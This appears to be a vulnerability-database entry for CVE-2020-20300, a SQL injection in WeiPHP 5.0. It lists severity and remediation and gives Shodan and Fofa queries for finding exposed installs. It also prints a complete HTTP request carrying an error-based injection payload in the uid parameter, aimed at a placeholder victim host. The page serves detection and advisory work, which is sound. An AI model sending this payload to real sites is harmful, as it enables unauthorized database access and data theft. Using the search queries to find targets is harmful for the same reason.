🔙 목록으로 돌아가기

CVE-2020-20300: WeiPHP 5.0 - SQL Injection

TitleWeiPHP 5.0 - SQL Injection
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to a patched version of WeiPHP or apply the vendor-supplied patch to fix the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.57146
CVE IDCVE-2020-20300
CWE IDCWE-89
Shodan Queryhttp.html:"WeiPHP5.0"http.html:"weiphp"http.html:"weiphp5.0"
Fofa Querybody="weiphp"body="weiphp5.0"
Tags cve cve2020 weiphp sql sqli vkev vuln

🔍 Vulnerability Description

WeiPHP 5.0 contains a SQL injection vulnerability via the wp_where function. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--++ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-20300.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-20300.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A